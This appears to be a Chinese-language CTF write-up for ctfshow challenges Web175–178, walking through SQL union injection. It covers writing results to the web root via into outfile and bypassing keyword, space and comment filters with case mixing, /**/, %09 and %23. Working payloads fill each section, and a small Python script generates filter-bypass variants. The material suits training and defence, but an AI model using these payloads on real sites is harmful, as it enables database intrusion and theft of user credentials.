ctfshow(175->178)--SQL注入--联合注入及其过滤

Web175

进入界面:

审计:

查询语句:

php 复制代码
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

php 复制代码
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

preg_match函数过滤了所有ASCII码中的符号。

相当于禁止查询任何内容。

思路/EXP:

在linux中,/var/www/html/是网站默认的文件存放位置,我们将查询内容写入文件之后读取。

使用into outfile "[文件路径]"将数据写入我们创建的文件。

php 复制代码
1' order by 2--+ //查出字段数为2

-1' union select 1,database() into outfile '/var/www/html/1.txt'--+
//爆库,查看1.txt得到库名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' into outfile '/var/www/html/2.txt'--+
//爆表,查看2.txt得到表名
//1.txt被创建并写入内容后,不能使用into outfile再向其中写入内容了,所以创建并写入2.txt

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user5' into outfile '/var/www/html/3.txt'--+
//爆字段

-1' union select username, password from ctfshow_user5 into outfile '/var/www/html/flag.txt'--+
//爆数据

得到flag.

Web176

进入界面:

审计:

查询语句:

php 复制代码
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

php 复制代码
//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

思路/EXP:

不再是对查询的内容进行过滤,而是对我们传入的参数进行了过滤。

但是不知道过滤的内容是什么。

先按照联合注入的流程进行查询,在查询的过程再判断过滤了什么:

php 复制代码
1' order by 3--+ //字段数为3

-1' union select 1,2,3--+
//报错,将union和select分别进行大小写混写,发现是过滤了select
-1' union sElect 1,2,3--+
-1' union sElect 1,2,database()--+
-1' union sElect 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
-1' union sElect 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user'--+
-1' union sElect 1,2,group_concat(username,password) from ctfshow_user--+

得到flag.

或者输入1' or 1=1--+,得到数据表全部数据。

Web177

进入界面:

审计:

查询语句:

php 复制代码
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

php 复制代码
//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

思路:

依旧联合注入,在注入过程中判断被过滤的字符。

发现空格被过滤,将空格替换为/**/绕过。

注释--+也被过滤,替换为%23绕过。

php 复制代码
1'/**/order/**/by/**/3%23 //%23是#的URL编码,也是sql语句的注释符号
-1'/**/union/**/select/**/1,2,database()%23 //爆库
-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctfshow_web'%23 //爆表
-1'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='ctfshow_user'%23 //爆字段
-1'/**/union/**/select/**/1,2,group_concat(username,password)/**/from/**/ctfshow_user%23 //爆数据

得到flag.

Web178

进入页面:

审计:

与上一题相同。

思路:

依旧边注入边分析过滤的内容。

依旧是过滤了空格,但是也过滤了/**/+,导致我们不能用这两个符号来绕过空格。

使用脚本,测试所以可以绕过空格的符号:

python 复制代码
order = "1' order by 1%23"
#绕过对空格的过滤
#空格替换:%09 %0a %0d %0c /**/ +
spaces = ["%09","%0a","%0d","%0c","/**/","+"]
for space in spaces:
    string = order.replace(" ",space)
    print(string)

发现除了/**/+,其他符号都有效。

php 复制代码
1'%09order%09by%093%23 //字段数为3
-1'%09union%09select%091,2,database()%23 //爆库名
-1'%09union%09select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='ctfshow_web'%23 //爆表名
-1'%09union%09select%091,2,group_concat(column_name)%09from%09information_schema.columns%09where%09table_name='ctfshow_user'%23 //爆字段
-1'%09union%09select%091,2,group_concat(username,password)%09from%09ctfshow_user%23 //爆数据

得到flag.

相关推荐
程序员岳焱1 小时前
Java 与 MySQL 性能优化:MySQL 慢 SQL 诊断与分析方法详解
后端·sql·mysql
UGOTNOSHOT2 小时前
每日八股文6.3
数据库·sql
竹言笙熙2 小时前
Polarctf2025夏季赛 web java ez_check
java·学习·web安全
痴人说梦梦中人4 小时前
SwaggerFuzzer:一款自动化 OpenAPI/Swagger 接口未授权访问测试工具
网络安全·渗透测试·自动化·api测试·漏洞利用·信息搜集
Lx3524 小时前
LIKE查询中索引有效利用的前缀匹配策略
后端·sql·oracle
lubiii_5 小时前
SQL手工测试(MySQL数据库)
数据库·mysql·web安全·网络安全
岁忧5 小时前
LeetCode 高频 SQL 50 题(基础版)之 【高级字符串函数 / 正则表达式 / 子句】· 上
sql·算法·leetcode
恰薯条的屑海鸥6 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第十四期-XXE模块)
网络·学习·安全·web安全·渗透测试
bbsh20997 小时前
WebFuture 升级提示“不能同时包含聚集KEY和大字段””的处理办法
数据库·sql·mysql·webfuture
网安INF9 小时前
ElGamal加密算法:离散对数难题的安全基石
java·网络安全·密码学